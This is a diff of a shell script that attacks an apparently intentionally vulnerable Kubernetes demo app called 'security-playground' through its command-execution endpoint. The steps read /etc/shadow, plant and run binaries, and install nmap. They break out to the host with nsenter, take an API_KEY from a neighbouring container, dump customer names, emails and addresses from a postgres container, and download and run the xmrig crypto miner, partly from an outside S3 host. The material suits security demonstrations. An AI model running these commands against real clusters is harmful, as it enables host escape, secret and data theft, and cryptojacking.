44NODE_IP=$( kubectl get nodes -o wide | awk ' FNR == 2 {print $6}' )
55NODE_PORT=30002
66
7- echo " 1. Exploit reading our /etc/shadow file and sending it back to us "
7+ echo " 1. Read a sensitive file ( /etc/shadow) "
88curl $NODE_IP :$NODE_PORT /etc/shadow
99
1010echo " 2. Exploit writing to /bin"
@@ -15,26 +15,30 @@ curl -X POST $NODE_IP:$NODE_PORT/exec -d 'command=chmod 0755 /bin/hello'
1515echo " and then run it"
1616curl -X POST $NODE_IP :$NODE_PORT /exec -d ' command=hello'
1717
18- echo " 3. Exploit installing nmap and running a scan"
18+ echo " 3. Install nmap from apt and then run a scan"
1919curl -X POST $NODE_IP :$NODE_PORT /exec -d ' command=apt-get update; apt-get -y install nmap;nmap -v scanme.nmap.org'
2020
21- echo " 4. Break out of our namespace to the host's with nsenter and install crictl in /usr/bin"
22- curl -X POST $NODE_IP :$NODE_PORT /exec -d ' command=curl https://z9k65lokhn70.s3.amazonaws.com/install-crictl.sh | bash'
21+ echo " 4. Break out of our Linux namespace to the host's with nsenter and install crictl in /usr/bin"
22+ ARCH=$( curl -X POST $NODE_IP :$NODE_PORT /exec -d ' command=dpkg --print-architecture' )
23+ curl -X POST $NODE_IP :$NODE_PORT /exec -d " command=nsenter --all --target=1 wget -q https://github.com/kubernetes-sigs/cri-tools/releases/download/v1.26.1/crictl-v1.26.1-linux-$ARCH .tar.gz"
24+ curl -X POST $NODE_IP :$NODE_PORT /exec -d " command=nsenter --all --target=1 tar -zxvf crictl-v1.26.1-linux-$ARCH .tar.gz -C /usr/bin"
2325
24- echo " 5. Break out of our namespace to the host's with nsenter and talk directly to the container runtime"
26+ echo " 5. Break out of our Linux namespace to the host's with nsenter and talk directly to the container runtime"
2527curl -X POST $NODE_IP :$NODE_PORT /exec -d ' command=nsenter --all --target=1 crictl ps'
2628
27- echo " 6. Exfil some data from another container running on the same Node"
29+ echo " 6. Steal a secret from another container on the same Node (hello-client-allowed in the team1 Namespace)"
30+ HELLO_ID=$( curl -X POST $NODE_IP :$NODE_PORT /exec -d ' command=nsenter --all --target=1 crictl ps --name hello-client-allowed -q' )
31+ curl -X POST $NODE_IP :$NODE_PORT /exec -d " command=nsenter --all --target=1 crictl exec $HELLO_ID /bin/sh -c set" | grep API_KEY
32+
33+ echo " 7. Exfil some data from another container running on the same Node"
2834POSTGRES_ID=$( curl -X POST $NODE_IP :$NODE_PORT /exec -d ' command=nsenter --all --target=1 crictl ps --name postgres-sakila -q' )
2935curl -X POST $NODE_IP :$NODE_PORT /exec -d " command=nsenter --all --target=1 crictl exec $POSTGRES_ID psql -U postgres -c 'SELECT c.first_name, c.last_name, c.email, a.address, a.postal_code FROM customer c JOIN address a ON (c.address_id = a.address_id)'"
3036
31- echo " 7. Call the Kubernetes API via security-playground's K8s ServiceAccount"
32- curl -X POST $NODE_IP :$NODE_PORT /exec -d ' command=curl -O https://s3.us-west-2.amazonaws.com/amazon-eks/1.26.4/2023-05-11/bin/linux/amd64/kubectl'
33- curl -X POST $NODE_IP :$NODE_PORT /exec -d ' command=chmod 0755 ./kubectl'
34- curl -X POST $NODE_IP :$NODE_PORT /exec -d ' command=./kubectl create deployment nefarious-workload --image=public.ecr.aws/m9h2b5e7/security-playground:110623'
35- curl -X POST $NODE_IP :$NODE_PORT /exec -d ' command=./kubectl get pods'
36-
37- echo " 8. Exploit running a script to run a crypto miner"
38- curl -X POST $NODE_IP :$NODE_PORT /exec -d ' command=wget https://github.com/xmrig/xmrig/releases/download/v6.18.1/xmrig-6.18.1-linux-static-x64.tar.gz -O xmrig.tar.gz'
37+ echo " 8. Download and run a common crypto miner (xmrig)"
38+ if [[ " $ARCH " == " amd64" ]]; then
39+ curl -X POST $NODE_IP :$NODE_PORT /exec -d " command=wget https://github.com/xmrig/xmrig/releases/download/v6.20.0/xmrig-6.20.0-linux-static-x64.tar.gz -O xmrig.tar.gz"
40+ else
41+ curl -X POST $NODE_IP :$NODE_PORT /exec -d " command=wget https://z9k65lokhn70.s3.amazonaws.com/xmrig-6.20.0-linux-static-arm64.tar.gz -O xmrig.tar.gz"
42+ fi
3943curl -X POST $NODE_IP :$NODE_PORT /exec -d ' command=tar -xzvf xmrig.tar.gz'
40- curl -X POST $NODE_IP :$NODE_PORT /exec -d ' command=/app/ xmrig-6.18.1 /xmrig --dry-run '
44+ curl -X POST $NODE_IP :$NODE_PORT /exec -d ' command=xmrig-6.20.0 /xmrig'
0 commit comments